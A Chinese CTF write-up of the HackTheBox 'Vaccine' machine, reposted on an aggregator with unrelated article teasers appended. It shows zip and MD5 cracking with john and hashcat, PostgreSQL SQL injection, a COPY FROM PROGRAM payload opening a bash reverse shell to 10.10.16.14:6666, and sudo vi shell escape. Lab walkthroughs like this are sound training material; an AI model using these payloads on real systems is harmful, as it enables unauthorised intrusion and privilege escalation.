Vaccine

news/2024/12/2 13:34:20/文章来源:https://www.cnblogs.com/ki-playground/p/18573485

Vaccine

1. 扫描

上来直接扫到ftp有一个backup.zip

以及ssh和80端口

将backup.zip下载下来

然后发现压缩包有密码

2. 访问

访问80端口看看

还有一些信息,apache+PHP,Linux系统

首先,对于登录界面,先排除弱口令和SQL注入,然后看目录扫描结果

没什么内容,那只能回头看backup.zip,尝试解出密码

3. john工具

john专注于破解各类系统hash,支持破解400多种hash类型;其中破解zip用到zip2john,破解rar用到rar2john,破解Word和Excel用到office2john

两个文件都使用加密方式 TS_chk

如果两个文件密码不一样,可以通过-o逐个输出

拿到密码

4. admin的密码写在脸上,不过是md5

这里的md5解密推荐两个工具,一个是轻量级hashid;一个是重量级hashcat,hashcat也可以用于密码恢复,不仅仅是破解密码

hashid的-m可以配合hashcat使用,识别加密哈希算法(包括有盐加密的hash),-j可以配合john使用

使用-m或直接输入,会对可能的加密方式进行分析

然后用hashcat进行解密

hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt

4. 登录

是一张数据库表

有sql注入

放大之后是这样

可以发现这里是用 where name ilike '%输入内容%' 进行模糊查询;%属于占位符,不需要闭合

找到适用的注释符

找到能够闭合语法:1' and 1=1 --+

获取列数:5

尝试联合查询,发现数据类型不匹配

修改数据类型,获得回显

判断数据库类型

为postgresql

5.利用 COPY FROM PROGRAM

1:先尝试写入文件

发现没有权限

2:换一种方法

先创建一个表

1';create table cmd_exec(cmd_output text);--+

然后用COPY FROM PROGRAM语句引入数据(执行命令)并写入数据库

1';copy CMD_EXEC from program '/bin/bash -c "bash -i >& /dev/tcp/10.10.16.14/6666 0>&1"'--+

成功弹回shell

去查看网站项目根目录,

index.php在备份压缩包里已经看过了,现在看dashboard.php

发现数据库连接使用的账号密码等信息

无法连接

先找一个flag

6.提权

尝试用刚才发现的密码登录postgres用户,登录成功

查看可用权限

发现只能编辑配置文件,那就试试吧

要用sudo权限运行vi

在vi的普通模式下输入 :shell

拿到第二个shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/845403.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

十、Spring Boot集成Spring Security之HTTP请求授权

Spring Security最新基于HTTP请求授权配置详解:工作原理,授权配置,异常处理,测试接口,案例源码目录前言一、HTTP请求授权工作原理二、HTTP请求授权配置1、添加用户权限2、配置ExceptionTranslationFilter自定义异常处理器3、HTTP请求授权配置三、测试接口1、测试类2、测试…

博客园主页皮肤设置 - 第三版

基本设置侧边栏 <script type="text/javascript">window.cnblogsConfig = {info: {name: A-刘晨阳, // 用户名startDate: 2021-10-14, // 入园时间,年-月-日。入园时间查看方法:鼠标停留园龄时间上,会显示入园时间avatar: https://img2024.cnblogs.com/blog…

11.27实验 25:访问者模式

[实验任务一]:打包员 在我们课堂上的“购物车”的例子中,增加一个新的访问者:打包员,负责对购物车中货物装包。 实验要求: 1. 画出对应的类图;2. 提交源代码; #include <iostream> #include <string> #include <list> using namespace std;class Prod…

11.29实验二:逻辑回归算法实现与测试

实验二:逻辑回归算法实现与测试 一、实验目的 深入理解对数几率回归(即逻辑回归的)的算法原理,能够使用 Python 语言实现对数 几率回归的训练与测试,并且使用五折交叉验证算法进行模型训练与评估。二、实验内容 (1)从 scikit-learn 库中加载 iris 数据集,使用留出法留出…

11.25实验 23:策略模式

[实验任务一]:旅行方式的选择 旅游的出行方式有乘坐飞机旅行、乘火车旅行和自行车游,不同的旅游方式有不同的实现过程,客户可以根据自己的需要选择一种合适的旅行方式。 实验要求: 1. 画出对应的类图;2. 提交源代码; package strategy;public class Person {private Tour…

vxe-table 设置斑马线条纹样式

vxe-table 设置斑马线条纹样式,通过设置 stripe 参数 官网:https://vxetable.cn 表格<template><div><vxe-grid v-bind="gridOptions"></vxe-grid></div> </template><script> export default {data () {const gridOpti…

Lsky Pro挂载alist

首先需要去修改lsky代码,如果是docker可以 docker exec -it lsky-pro /bin/bash 然后安装个vim apt install vim cd app cd Services/ ls vi ImageService.php 然后vim输入 :set nu 显示行号,然后找到345行,粘贴进去 authType => 1, lwebdav存储策略问题 Issue #497 ls…

使用Go语言开发的一款轻量级可视化服务器监控监控软件

大家好,我是兔兔,兔兔答题的开发者。兔兔答题是一款简单、易用的答题系统,可应用于微信考试、付费考试、社会调查问卷、明星知识问答、员工培训考核、模拟自测、企业面试、试题库等多种场景。兔兔答题官网文档 进入给大家分享的内容是一款轻量级的日志可视化图形工具。在兔兔…

中电金信:源启数据资产平台的智能化与安全化的创新之道

中国企业在数智化转型中在数据治理领域遭遇多重挑战,包括在数据标准化、数据质量提升、数据分级分类,以及数据安全治理等。近几年,中电金信依托自主研发的智能数据底座“源启数据资产平台”,助力企业实现数据驱动的业务经营和精益管理。该平台不断吸纳全球数据治理领域的前…

【WEB漏洞】并发漏洞+经典案例

一、简单介绍1.1 并发漏洞概述1.2 并发漏洞常出现的功能点及解决方法1.2.1 用户注册/账户管理1.2.2 秒杀/抢购功能1.2.3 支付与结算1.2.4 文件读写1.2.5 日志记录1.2.6 缓存更新1.2.7 任务调度1.2.8 数据库操作1.2.9 队列消费1.2.10 多线程计算1.2.11 微服务间的并发请求1.2.12…

AI之旅:Microsoft.Extensions.AI 送惊喜,Cnblogs.DashScope.AI 表支持

https://www.cnblogs.com/cmt/p/185775742024年10月8日,微软 .NET 官方博客发布了一篇博文 Introducing Microsoft.Extensions.AI Preview – Unified AI Building Blocks for .NET,给 .NET 开发者带来了一个小惊喜,.NET 类库将增加一个统一的调用 AI 服务的抽象接口层。Mic…